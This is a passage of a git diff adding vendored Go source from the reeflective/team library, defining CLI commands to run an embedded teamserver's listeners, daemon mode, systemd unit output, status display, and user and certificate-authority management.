+ return set.Value
+ }
+ }
+
+ return ""
+}
+
+// GitDirty returns true if the binary was compiled
+// with modified files in the VCS working area.
+func GitDirty() bool {
+ info, ok := debug.ReadBuildInfo()
+ if !ok {
+ return false
+ }
+
+ for _, set := range info.Settings {
+ if set.Key == "vcs.modified" {
+ return set.Key == "true"
+ }
+ }
+
+ return false
+}
diff --git a/vendor/github.com/reeflective/team/server/commands/commands.go b/vendor/github.com/reeflective/team/server/commands/commands.go
new file mode 100644
index 0000000000..67d2f731fa
--- /dev/null
+++ b/vendor/github.com/reeflective/team/server/commands/commands.go
@@ -0,0 +1,261 @@
+package commands
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+
+ "github.com/rsteube/carapace"
+ "github.com/spf13/cobra"
+ "github.com/spf13/pflag"
+
+ "github.com/reeflective/team/client"
+ cli "github.com/reeflective/team/client/commands"
+ "github.com/reeflective/team/internal/command"
+ "github.com/reeflective/team/server"
+)
+
+// Generate returns a "teamserver" command root and its tree for teamserver (server-side) management.
+// It requires a teamclient so as to bind its "teamclient" tree as a subcommand of the server root.
+// This is so that all CLI applications which can be a teamserver can also be a client of their own.
+//
+// ** Commands do:
+// - Work even if the teamserver/client returns errors: those are returned &| printed &| logged.
+// - Use the cobra utilities OutOrStdout(), ErrOrStdErr(), ... for all and every command output.
+// - Have attached completions for users/listeners/config files of all sorts, and other things.
+// - Have the ability to be ran in closed-loop console applications ("single runtime shell").
+//
+// ** Commands do NOT:
+// - Ensure they are connected to a server instance before running (in memory).
+// - Call os.Exit() anywhere, thus will not exit the program embedding them.
+// - Ignite/start the teamserver core/filesystem/backends before they absolutely need to.
+// Consequently, do not touch the filesystem until they absolutely need to.
+// - Connect the client more than once to the teamserver.
+// - Start persistent listeners, excluding the daemon command.
+func Generate(teamserver *server.Server, teamclient *client.Client) *cobra.Command {
+ // Server-only commands always need to have open log
+ // files, most of the time access to the database, etc.
+ // On top, they need a listener in memory.
+ servCmds := serverCommands(teamserver, teamclient)
+
+ // We bind the same runners to the client-side commands.
+ cliCmds := cli.Generate(teamclient)
+ cliCmds.Use = "client"
+ cliCmds.GroupID = command.TeamServerGroup
+
+ servCmds.AddCommand(cliCmds)
+
+ return servCmds
+}
+
+func serverCommands(server *server.Server, client *client.Client) *cobra.Command {
+ teamCmd := &cobra.Command{
+ Use: "teamserver",
+ Short: fmt.Sprintf("Manage the %s teamserver and users", server.Name()),
+ SilenceUsage: true,
+ }
+
+ // Groups
+ teamCmd.AddGroup(
+ &cobra.Group{ID: command.TeamServerGroup, Title: command.TeamServerGroup},
+ &cobra.Group{ID: command.UserManagementGroup, Title: command.UserManagementGroup},
+ )
+
+ teamFlags := pflag.NewFlagSet("teamserver", pflag.ContinueOnError)
+ teamFlags.CountP("verbosity", "v", "Counter flag (-vvv) to increase log verbosity on stdout (1:info-> 3:trace)")
+ teamCmd.PersistentFlags().AddFlagSet(teamFlags)
+
+ // [ Listeners and servers control commands ] ------------------------------------------
+
+ // Start a listener
+ listenCmd := &cobra.Command{
+ Use: "listen",
+ Short: "Start a teamserver listener (non-blocking)",
+ GroupID: command.TeamServerGroup,
+ RunE: startListenerCmd(server),
+ }
+
+ lnFlags := pflag.NewFlagSet("listener", pflag.ContinueOnError)
+ lnFlags.StringP("host", "H", "", "interface to bind server to")
+ lnFlags.StringP("listener", "l", "", "listener stack to use instead of default (completed)")
+ lnFlags.Uint16P("port", "P", 31337, "tcp listen port")
+ lnFlags.BoolP("persistent", "p", false, "make listener persistent across restarts")
+ listenCmd.Flags().AddFlagSet(lnFlags)
+
+ listenComps := make(carapace.ActionMap)
+ listenComps["host"] = interfacesCompleter()
+ listenComps["listener"] = carapace.ActionCallback(listenerTypeCompleter(client, server))
+ carapace.Gen(listenCmd).FlagCompletion(listenComps)
+
+ teamCmd.AddCommand(listenCmd)
+
+ // Close a listener
+ closeCmd := &cobra.Command{
+ Use: "close",
+ Short: "Close a listener and remove it from persistent ones if it's one",
+ Args: cobra.MinimumNArgs(1),
+ GroupID: command.TeamServerGroup,
+ Run: closeCmd(server),
+ }
+
+ closeComps := carapace.Gen(closeCmd)
+ closeComps.PositionalAnyCompletion(carapace.ActionCallback(listenerIDCompleter(client, server)))
+
+ closeComps.PreRun(func(cmd *cobra.Command, args []string) {
+ if cmd.PersistentPreRunE != nil {
+ cmd.PersistentPreRunE(cmd, args)
+ }
+ if cmd.PreRunE != nil {
+ cmd.PreRunE(cmd, args)
+ }
+ })
+
+ teamCmd.AddCommand(closeCmd)
+
+ // Daemon (blocking listener and persistent jobs)
+ daemonCmd := &cobra.Command{
+ Use: "daemon",
+ Short: "Start the teamserver in daemon mode (blocking)",
+ GroupID: command.TeamServerGroup,
+ RunE: daemoncmd(server),
+ }
+ daemonCmd.Flags().StringP("host", "l", "-", "multiplayer listener host")
+ daemonCmd.Flags().Uint16P("port", "p", uint16(0), "multiplayer listener port")
+
+ daemonComps := make(carapace.ActionMap)
+ daemonComps["host"] = interfacesCompleter()
+ carapace.Gen(daemonCmd).FlagCompletion(daemonComps)
+
+ teamCmd.AddCommand(daemonCmd)
+
+ // Systemd configuration output
+ systemdCmd := &cobra.Command{
+ Use: "systemd",
+ Short: "Print a systemd unit file for the application teamserver, with options",
+ GroupID: command.TeamServerGroup,
+ RunE: systemdConfigCmd(server),
+ }
+
+ sFlags := pflag.NewFlagSet("systemd", pflag.ContinueOnError)
+ sFlags.StringP("binpath", "b", "", "Specify the path of the teamserver application binary")
+ sFlags.StringP("user", "u", "", "Specify the user for the systemd file to run with")
+ sFlags.StringP("save", "s", "", "Directory/file in which to save config, instead of stdout")
+ sFlags.StringP("host", "l", "", "Listen host to use in the systemd command line")
+ sFlags.Uint16P("port", "p", 0, "Listen port in the systemd command line")
+ systemdCmd.Flags().AddFlagSet(sFlags)
+
+ sComps := make(carapace.ActionMap)
+ sComps["save"] = carapace.ActionFiles()
+ sComps["binpath"] = carapace.ActionFiles()
+ sComps["host"] = interfacesCompleter()
+ carapace.Gen(systemdCmd).FlagCompletion(sComps)
+
+ teamCmd.AddCommand(systemdCmd)
+
+ statusCmd := &cobra.Command{
+ Use: "status",
+ Short: "Show the status of the teamserver (listeners, configurations, health...)",
+ GroupID: command.TeamServerGroup,
+ Run: statusCmd(server),
+ }
+
+ teamCmd.AddCommand(statusCmd)
+
+ // [ Users and data control commands ] -------------------------------------------------
+
+ // Add user
+ userCmd := &cobra.Command{
+ Use: "user",
+ Short: "Create a user for this teamserver and generate its client configuration file",
+ GroupID: command.UserManagementGroup,
+ Run: createUserCmd(server, client),
+ }
+
+ teamCmd.AddCommand(userCmd)
+
+ userFlags := pflag.NewFlagSet("user", pflag.ContinueOnError)
+ userFlags.StringP("host", "l", "", "listen host")
+ userFlags.Uint16P("port", "p", 0, "listen port")
+ userFlags.StringP("save", "s", "", "directory/file in which to save config")
+ userFlags.StringP("name", "n", "", "user name")
+ userFlags.BoolP("system", "U", false, "Use the current OS user, and save its configuration directly in client dir")
+ userCmd.Flags().AddFlagSet(userFlags)
+
+ userComps := make(carapace.ActionMap)
+ userComps["save"] = carapace.ActionDirectories()
+ userComps["host"] = interfacesCompleter()
+ carapace.Gen(userCmd).FlagCompletion(userComps)
+
+ // Delete and kick user
+ rmUserCmd := &cobra.Command{
+ Use: "delete",
+ Short: "Remove a user from the teamserver, and revoke all its current tokens",
+ GroupID: command.UserManagementGroup,
+ Args: cobra.ExactArgs(1),
+ Run: rmUserCmd(server),
+ }
+
+ teamCmd.AddCommand(rmUserCmd)
+
+ rmUserComps := carapace.Gen(rmUserCmd)
+
+ rmUserComps.PositionalCompletion(carapace.ActionCallback(userCompleter(client, server)))
+
+ rmUserComps.PreRun(func(cmd *cobra.Command, args []string) {
+ if cmd.PersistentPreRunE != nil {
+ cmd.PersistentPreRunE(cmd, args)
+ }
+ if cmd.PreRunE != nil {
+ cmd.PreRunE(cmd, args)
+ }
+ })
+
+ // Import a list of users and their credentials.
+ cmdImportCA := &cobra.Command{
+ Use: "import",
+ Short: "Import a certificate Authority file containing teamserver users",
+ GroupID: command.UserManagementGroup,
+ Args: cobra.ExactArgs(1),
+ Run: importCACmd(server),
+ }
+
+ iComps := carapace.Gen(cmdImportCA)
+ iComps.PositionalCompletion(
+ carapace.Batch(
+ carapace.ActionCallback(cli.ConfigsCompleter(client, "teamserver/certs", ".teamserver.pem", "other teamservers user CAs", true)),
+ carapace.ActionFiles().Tag("teamserver user CAs"),
+ ).ToA(),
+ )
+
+ teamCmd.AddCommand(cmdImportCA)
+
+ // Export the list of users and their credentials.
+ cmdExportCA := &cobra.Command{
+ Use: "export",
+ Short: "Export a Certificate Authority file containing the teamserver users",
+ GroupID: command.UserManagementGroup,
+ Args: cobra.RangeArgs(0, 1),
+ Run: exportCACmd(server),
+ }
+
+ carapace.Gen(cmdExportCA).PositionalCompletion(carapace.ActionFiles())
+ teamCmd.AddCommand(cmdExportCA)
+
+ return teamCmd
+}
diff --git a/vendor/github.com/reeflective/team/server/commands/completers.go b/vendor/github.com/reeflective/team/server/commands/completers.go
new file mode 100644
index 0000000000..1b336cebbf
--- /dev/null
+++ b/vendor/github.com/reeflective/team/server/commands/completers.go
@@ -0,0 +1,141 @@
+package commands
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "net"
+ "strings"
+
+ "github.com/rsteube/carapace"
+
+ "github.com/reeflective/team/client"
+ "github.com/reeflective/team/server"
+)
+
+// interfacesCompleter completes interface addresses on the client host.
+func interfacesCompleter() carapace.Action {
+ return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
+ ifaces, err := net.Interfaces()
+ if err != nil {
+ return carapace.ActionMessage("failed to get net interfaces: %s", err.Error())
+ }
+
+ results := make([]string, 0)
+
+ for _, i := range ifaces {
+ addrs, err := i.Addrs()
+ if err != nil {
+ continue
+ }
+
+ for _, a := range addrs {
+ switch ipType := a.(type) {
+ case *net.IPAddr:
+ results = append(results, ipType.IP.String())
+ case *net.IPNet:
+ results = append(results, ipType.IP.String())
+ default:
+ results = append(results, ipType.String())
+ }
+ }
+ }
+
+ return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':')
+ })
+}
+
+// userCompleter completes usernames of the application teamserver.
+func userCompleter(client *client.Client, server *server.Server) carapace.CompletionCallback {
+ return func(c carapace.Context) carapace.Action {
+ users, err := client.Users()
+ if err != nil {
+ return carapace.ActionMessage("Failed to get users: %s", err)
+ }
+
+ results := make([]string, len(users))
+ for i, user := range users {
+ results[i] = strings.TrimSpace(user.Name)
+ }
+
+ if len(results) == 0 {
+ return carapace.ActionMessage(fmt.Sprintf("%s teamserver has no users", server.Name()))
+ }
+
+ return carapace.ActionValues(results...).Tag(fmt.Sprintf("%s teamserver users", server.Name()))
+ }
+}
+
+// listenerIDCompleter completes ID for running teamserver listeners.
+func listenerIDCompleter(client *client.Client, server *server.Server) carapace.CompletionCallback {
+ return func(c carapace.Context) carapace.Action {
+ listeners := server.Listeners()
+ cfg := server.GetConfig()
+
+ var results []string
+ for _, ln := range listeners {
+ results = append(results, strings.TrimSpace(formatSmallID(ln.ID)))
+ results = append(results, fmt.Sprintf("[%s] (%s)", ln.Description, "Up"))
+ }
+
+ var persistents []string
+ next:
+ for _, saved := range cfg.Listeners {
+
+ for _, ln := range listeners {
+ if saved.ID == ln.ID {
+ continue next
+ }
+ }
+
+ persistents = append(persistents, strings.TrimSpace(formatSmallID(saved.ID)))
+
+ host := fmt.Sprintf("%s:%d", saved.Host, saved.Port)
+ persistents = append(persistents, fmt.Sprintf("[%s] (%s)", host, "Up"))
+ }
+
+ if len(results) == 0 && len(persistents) == 0 {
+ return carapace.ActionMessage(fmt.Sprintf("no listeners running/saved for %s teamserver", server.Name()))
+ }
+
+ // return carapace.
+ return carapace.Batch(
+ carapace.ActionValuesDescribed(results...).Tag("active teamserver listeners"),
+ carapace.ActionValuesDescribed(persistents...).Tag("saved teamserver listeners"),
+ ).ToA()
+ }
+}
+
+// listenerTypeCompleter completes the different types of teamserver listener/handler stacks available.
+func listenerTypeCompleter(client *client.Client, server *server.Server) carapace.CompletionCallback {
+ return func(c carapace.Context) carapace.Action {
+ listeners := server.Handlers()
+
+ var results []string
+ for _, ln := range listeners {
+ results = append(results, strings.TrimSpace(ln.Name()))
+ }
+
+ if len(results) == 0 {
+ return carapace.ActionMessage(fmt.Sprintf("no additional listener types for %s teamserver", server.Name()))
+ }
+
+ return carapace.ActionValues(results...).Tag(fmt.Sprintf("%s teamserver listener types", server.Name()))
+ }
+}
diff --git a/vendor/github.com/reeflective/team/server/commands/teamserver.go b/vendor/github.com/reeflective/team/server/commands/teamserver.go
new file mode 100644
index 0000000000..2cc8d50b68
--- /dev/null
+++ b/vendor/github.com/reeflective/team/server/commands/teamserver.go
@@ -0,0 +1,385 @@
+package commands
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "io/fs"
+ "os"
+ "path/filepath"
+ "runtime/debug"
+ "strconv"
+ "strings"
+
+ "github.com/jedib0t/go-pretty/v6/table"
+ "github.com/sirupsen/logrus"
+ "github.com/spf13/cobra"
+
+ "github.com/reeflective/team/internal/command"
+ "github.com/reeflective/team/internal/log"
+ "github.com/reeflective/team/internal/systemd"
+ "github.com/reeflective/team/server"
+)
+
+func daemoncmd(serv *server.Server) func(cmd *cobra.Command, args []string) error {
+ return func(cmd *cobra.Command, _ []string) error {
+ if cmd.Flags().Changed("verbosity") {
+ logLevel, err := cmd.Flags().GetCount("verbosity")
+ if err == nil {
+ serv.SetLogLevel(logLevel + int(logrus.WarnLevel))
+ }
+ }
+
+ lhost, err := cmd.Flags().GetString("host")
+ if err != nil {
+ return fmt.Errorf("Failed to get --host flag: %w", err)
+ }
+
+ lport, err := cmd.Flags().GetUint16("port")
+ if err != nil {
+ return fmt.Errorf("Failed to get --port (%d) flag: %w", lport, err)
+ }
+
+ // Also written to logs in the teamserver code.
+ defer func() {
+ if r := recover(); r != nil {
+ fmt.Fprintf(cmd.OutOrStdout(), "stacktrace from panic: \n"+string(debug.Stack()))
+ }
+ }()
+
+ // cli args take precedence over config (this is here for status printing purposes)
+ if lhost == "" {
+ lhost = serv.GetConfig().DaemonMode.Host
+ }
+
+ if lport == 0 {
+ lport = uint16(serv.GetConfig().DaemonMode.Port)
+ }
+
+ fmt.Fprintf(cmd.OutOrStdout(), "Starting %s teamserver daemon on %s:%d ...\n", serv.Name(), lhost, lport)
+
+ // Blocking call, your program will only exit/resume on Ctrl-C/SIGTERM
+ return serv.ServeDaemon(lhost, lport)
+ }
+}
+
+func startListenerCmd(serv *server.Server) func(cmd *cobra.Command, args []string) error {
+ return func(cmd *cobra.Command, _ []string) error {
+ if cmd.Flags().Changed("verbosity") {
+ logLevel, err := cmd.Flags().GetCount("verbosity")
+ if err == nil {
+ serv.SetLogLevel(logLevel + int(logrus.WarnLevel))
+ }
+ }
+
+ lhost, _ := cmd.Flags().GetString("host")
+ lport, _ := cmd.Flags().GetUint16("port")
+ persistent, _ := cmd.Flags().GetBool("persistent")
+ ltype, _ := cmd.Flags().GetString("listener")
+
+ _, err := serv.ServeAddr(ltype, lhost, lport)
+ if err == nil {
+ fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Teamserver listener started on %s:%d\n", lhost, lport)
+
+ if persistent {
+ serv.ListenerAdd(ltype, lhost, lport)
+ }
+ } else {
+ return fmt.Errorf(command.Warn+"Failed to start job %w", err)
+ }
+
+ return nil
+ }
+}
+
+func closeCmd(serv *server.Server) func(cmd *cobra.Command, args []string) {
+ return func(cmd *cobra.Command, args []string) {
+ if cmd.Flags().Changed("verbosity") {
+ logLevel, err := cmd.Flags().GetCount("verbosity")
+ if err == nil {
+ serv.SetLogLevel(logLevel + int(logrus.WarnLevel))
+ }
+ }
+
+ listeners := serv.Listeners()
+ cfg := serv.GetConfig()
+
+ for _, arg := range args {
+ if arg == "" {
+ continue
+ }
+
+ for _, ln := range listeners {
+ if strings.HasPrefix(ln.ID, arg) {
+ err := serv.ListenerClose(arg)
+ if err != nil {
+ fmt.Fprintln(cmd.ErrOrStderr(), command.Warn, err)
+ } else {
+ fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Closed %s listener (%s) [%s]\n", ln.Name, formatSmallID(ln.ID), ln.Description)
+ }
+ }
+ }
+ }
+
+ for _, arg := range args {
+ if arg == "" {
+ continue
+ }
+
+ for _, saved := range cfg.Listeners {
+ if strings.HasPrefix(saved.ID, arg) {
+ serv.ListenerRemove(saved.ID)
+ id := formatSmallID(saved.ID)
+ fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Deleted %s listener (%s) from saved jobs\n", saved.Name, id)
+
+ continue
+ }
+ }
+ }
+ }
+}
+
+func systemdConfigCmd(serv *server.Server) func(cmd *cobra.Command, args []string) error {
+ return func(cmd *cobra.Command, _ []string) error {
+ if cmd.Flags().Changed("verbosity") {
+ logLevel, err := cmd.Flags().GetCount("verbosity")
+ if err == nil {
+ serv.SetLogLevel(logLevel + int(logrus.WarnLevel))
+ }
+ }
+
+ config := systemd.NewDefaultConfig()
+
+ userf, _ := cmd.Flags().GetString("user")
+ if userf != "" {
+ config.User = userf
+ }
+
+ binPath, _ := cmd.Flags().GetString("binpath")
+ if binPath != "" {
+ config.Binpath = binPath
+ }
+
+ host, hErr := cmd.Flags().GetString("host")
+ if hErr != nil {
+ return hErr
+ }
+
+ port, pErr := cmd.Flags().GetUint16("port")
+ if pErr != nil {
+ return pErr
+ }
+
+ // The last argument is the systemd command:
+ // its parent is the teamserver one, to which
+ // should be attached the daemon command.
+ daemonCmd, _, err := cmd.Parent().Find([]string{"daemon"})
+ if err != nil {
+ return fmt.Errorf("Failed to find teamserver daemon command in tree: %w", err)
+ }
+
+ config.Args = append(callerArgs(cmd.Parent()), daemonCmd.Name())
+ if len(config.Args) > 0 && binPath != "" {
+ config.Args[0] = binPath
+ }
+
+ if host != "" {
+ config.Args = append(config.Args, strings.Join([]string{"--host", host}, " "))
+ }
+
+ if port != 0 {
+ config.Args = append(config.Args, strings.Join([]string{"--port", strconv.Itoa(int(port))}, " "))
+ }
+
+ systemdConfig := systemd.NewFrom(serv.Name(), config)
+ fmt.Fprint(cmd.OutOrStdout(), systemdConfig)
+
+ return nil
+ }
+}
+
+func statusCmd(serv *server.Server) func(cmd *cobra.Command, args []string) {
+ return func(cmd *cobra.Command, _ []string) {
+ if cmd.Flags().Changed("verbosity") {
+ logLevel, err := cmd.Flags().GetCount("verbosity")
+ if err == nil {
+ serv.SetLogLevel(logLevel + int(logrus.WarnLevel))
+ }
+ }
+
+ cfg := serv.GetConfig()
+
+ dbCfg := serv.DatabaseConfig()
+
+ database := fmt.Sprintf("%s - %s [%s:%d] ", dbCfg.Dialect, dbCfg.Database, dbCfg.Host, dbCfg.Port)
+
+ // General options, in-memory, default port, config path, database, etc
+ fmt.Fprintln(cmd.OutOrStdout(), formatSection("General"))
+ fmt.Fprint(cmd.OutOrStdout(), displayGroup([]string{
+ "Home", serv.HomeDir(),
+ "Port", strconv.Itoa(cfg.DaemonMode.Port),
+ "Database", database,
+ "Config", serv.ConfigPath(),
+ }))
+
+ // Logging files/level/status
+ fakeLog := serv.NamedLogger("", "")
+
+ fmt.Fprintln(cmd.OutOrStdout(), formatSection("Logging"))
+ fmt.Fprint(cmd.OutOrStdout(), displayGroup([]string{
+ "Level", fakeLog.Logger.Level.String(),
+ "Root", log.FileName(filepath.Join(serv.LogsDir(), serv.Name()), true),
+ "Audit", filepath.Join(serv.LogsDir(), "audit.json"),
+ }))
+
+ // Certificate files.
+ certsPath := serv.CertificatesDir()
+ if dir, err := os.Stat(certsPath); err == nil && dir.IsDir() {
+ files, err := fs.ReadDir(os.DirFS(certsPath), ".")
+ if err == nil || len(files) > 0 {
+ fmt.Fprintln(cmd.OutOrStdout(), formatSection("Certificate files"))
+
+ for _, file := range files {
+ fmt.Fprintln(cmd.OutOrStdout(), filepath.Join(certsPath, file.Name()))
+ }
+ }
+ }
+
+ // Listeners
+ listenersTable := listenersTable(serv, cfg)
+
+ if listenersTable != "" {
+ fmt.Fprintln(cmd.OutOrStdout(), formatSection("Listeners"))
+ fmt.Fprintln(cmd.OutOrStdout(), listenersTable)
+ }
+ }
+}
+
+func listenersTable(serv *server.Server, cfg *server.Config) string {
+ listeners := serv.Listeners()
+
+ tbl := &table.Table{}
+ tbl.SetStyle(command.TableStyle)
+
+ tbl.AppendHeader(table.Row{
+ "ID",
+ "Name",
+ "Description",
+ "State",
+ "Persistent",
+ })
+
+ for _, listener := range listeners {
+ persist := false
+
+ for _, saved := range cfg.Listeners {
+ if saved.ID == listener.ID {
+ persist = true
+ }
+ }
+
+ tbl.AppendRow(table.Row{
+ formatSmallID(listener.ID),
+ listener.Name,
+ listener.Description,
+ command.Green + command.Bold + "Up" + command.Normal,
+ persist,
+ })
+ }
+
+next:
+ for _, saved := range cfg.Listeners {
+
+ for _, ln := range listeners {
+ if saved.ID == ln.ID {
+ continue next
+ }
+ }
+
+ tbl.AppendRow(table.Row{
+ formatSmallID(saved.ID),
+ saved.Name,
+ fmt.Sprintf("%s:%d", saved.Host, saved.Port),
+ command.Red + command.Bold + "Down" + command.Normal,
+ true,
+ })
+ }
+
+ if len(listeners) > 0 {
+ return tbl.Render()
+ }
+
+ return ""
+}
+
+func fieldName(name string) string {
+ return command.Blue + command.Bold + name + command.Normal
+}
+
+func callerArgs(cmd *cobra.Command) []string {
+ var args []string
+
+ if cmd.HasParent() {
+ args = callerArgs(cmd.Parent())
+ }
+
+ args = append(args, cmd.Name())
+
+ return args
+}
+
+func formatSection(msg string, args ...any) string {
+ return "\n" + command.Bold + command.Orange + fmt.Sprintf(msg, args...) + command.Normal
+}
+
+// formatSmallID returns a smallened ID for table/completion display.
+func formatSmallID(id string) string {
+ if len(id) <= 8 {
+ return id
+ }
+
+ return id[:8]
+}
+
+func displayGroup(values []string) string {
+ var maxLength int
+ var group string
+
+ // Get the padding for headers
+ for i, head := range values {
+ if i%2 != 0 {
+ continue
+ }
+
+ if len(head) > maxLength {
+ maxLength = len(head)
+ }
+ }
+
+ for i := 0; i < len(values)-1; i += 2 {
+ field := values[i]
+ value := values[i+1]
+
+ headName := fmt.Sprintf("%*s", maxLength, field)
+ fieldName := command.Blue + command.Bold + headName + command.Normal + " "
+ group += fmt.Sprintf("%s: %s\n", fieldName, value)
+ }
+
+ return group
+}
diff --git a/vendor/github.com/reeflective/team/server/commands/user.go b/vendor/github.com/reeflective/team/server/commands/user.go
new file mode 100644
index 0000000000..92b6f895a2
--- /dev/null
+++ b/vendor/github.com/reeflective/team/server/commands/user.go
@@ -0,0 +1,216 @@
+package commands
+
+import (
+ "encoding/json"
+ "fmt"
+ "os"
+ "os/user"
+ "path/filepath"
+ "strings"
+
+ "github.com/sirupsen/logrus"
+ "github.com/spf13/cobra"
+
+ "github.com/reeflective/team/client"
+ "github.com/reeflective/team/internal/assets"
+ "github.com/reeflective/team/internal/command"
+ "github.com/reeflective/team/server"
+)
+
+func createUserCmd(serv *server.Server, cli *client.Client) func(cmd *cobra.Command, args []string) {
+ return func(cmd *cobra.Command, _ []string) {
+ if cmd.Flags().Changed("verbosity") {
+ logLevel, err := cmd.Flags().GetCount("verbosity")
+ if err == nil {
+ serv.SetLogLevel(logLevel + int(logrus.WarnLevel))
+ }
+ }
+
+ name, _ := cmd.Flags().GetString("name")
+ lhost, _ := cmd.Flags().GetString("host")
+ lport, _ := cmd.Flags().GetUint16("port")
+ save, _ := cmd.Flags().GetString("save")
+ system, _ := cmd.Flags().GetBool("system")
+
+ if save == "" {
+ save, _ = os.Getwd()
+ }
+
+ var filename string
+ var saveTo string
+
+ if system {
+ user, err := user.Current()
+ if err != nil {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to get current OS user: %s\n", err)
+ return
+ }
+
+ name = user.Username
+ filename = fmt.Sprintf("%s_%s_default", serv.Name(), user.Username)
+ saveTo = cli.ConfigsDir()
+
+ err = os.MkdirAll(saveTo, assets.DirPerm)
+ if err != nil {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"cannot write to %s root dir: %s\n", saveTo, err)
+ return
+ }
+ } else {
+ saveTo, _ = filepath.Abs(save)
+ userFile, err := os.Stat(saveTo)
+ if !os.IsNotExist(err) && !userFile.IsDir() {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"File already exists %s\n", err)
+ return
+ }
+
+ if !os.IsNotExist(err) && userFile.IsDir() {
+ filename = fmt.Sprintf("%s_%s", filepath.Base(name), filepath.Base(lhost))
+ }
+ }
+
+ fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Generating new client certificate, please wait ... \n")
+
+ config, err := serv.UserCreate(name, lhost, lport)
+ if err != nil {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", err)
+ return
+ }
+
+ configJSON, err := json.Marshal(config)
+ if err != nil {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"JSON marshaling error: %s\n", err)
+ return
+ }
+
+ saveTo = filepath.Join(saveTo, filename+".teamclient.cfg")
+
+ err = os.WriteFile(saveTo, configJSON, assets.FileReadPerm)
+ if err != nil {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to write config to %s: %s\n", saveTo, err)
+ return
+ }
+
+ fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Saved new client config to: %s\n", saveTo)
+ }
+}
+
+func rmUserCmd(serv *server.Server) func(cmd *cobra.Command, args []string) {
+ return func(cmd *cobra.Command, args []string) {
+ if cmd.Flags().Changed("verbosity") {
+ logLevel, err := cmd.Flags().GetCount("verbosity")
+ if err == nil {
+ serv.SetLogLevel(logLevel + int(logrus.WarnLevel))
+ }
+ }
+
+ user := args[0]
+
+ fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Removing client certificate(s)/token(s) for %s, please wait ... \n", user)
+
+ err := serv.UserDelete(user)
+ if err != nil {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to remove the user certificate: %v\n", err)
+ return
+ }
+
+ fmt.Fprintf(cmd.OutOrStdout(), command.Info+"User %s has been deleted from the teamserver, and kicked out.\n", user)
+ }
+}
+
+func importCACmd(serv *server.Server) func(cmd *cobra.Command, args []string) {
+ return func(cmd *cobra.Command, args []string) {
+ if cmd.Flags().Changed("verbosity") {
+ logLevel, err := cmd.Flags().GetCount("verbosity")
+ if err == nil {
+ serv.SetLogLevel(logLevel + int(logrus.WarnLevel))
+ }
+ }
+
+ load := args[0]
+
+ fi, err := os.Stat(load)
+ if os.IsNotExist(err) || fi.IsDir() {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Cannot load file %s\n", load)
+ }
+
+ data, err := os.ReadFile(load)
+ if err != nil {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Cannot read file: %v\n", err)
+ }
+
+ // CA - Exported CA format
+ type CA struct {
+ Certificate string `json:"certificate"`
+ PrivateKey string `json:"private_key"`
+ }
+
+ importCA := &CA{}
+ err = json.Unmarshal(data, importCA)
+
+ if err != nil {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to parse file: %s\n", err)
+ }
+
+ cert := []byte(importCA.Certificate)
+ key := []byte(importCA.PrivateKey)
+ serv.UsersSaveCA(cert, key)
+ }
+}
+
+func exportCACmd(serv *server.Server) func(cmd *cobra.Command, args []string) {
+ return func(cmd *cobra.Command, args []string) {
+ if cmd.Flags().Changed("verbosity") {
+ logLevel, err := cmd.Flags().GetCount("verbosity")
+ if err == nil {
+ serv.SetLogLevel(logLevel + int(logrus.WarnLevel))
+ }
+ }
+
+ var save string
+ if len(args) == 1 {
+ save = args[0]
+ }
+
+ if strings.TrimSpace(save) == "" {
+ save, _ = os.Getwd()
+ }
+
+ certificateData, privateKeyData, err := serv.UsersGetCA()
+ if err != nil {
+ fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Error reading CA %s\n", err)
+ return
+ }
+
+ // CA - Exported CA format
+ type CA struct {
+ Certificate string `json:"certificate"`
+ PrivateKey string `json:"private_key"`
+ }
+
+ exportedCA := &CA{
+ Certificate: string(certificateData),
+ PrivateKey: string(privateKeyData),
+ }
+
+ saveTo, _ := filepath.Abs(save)
+
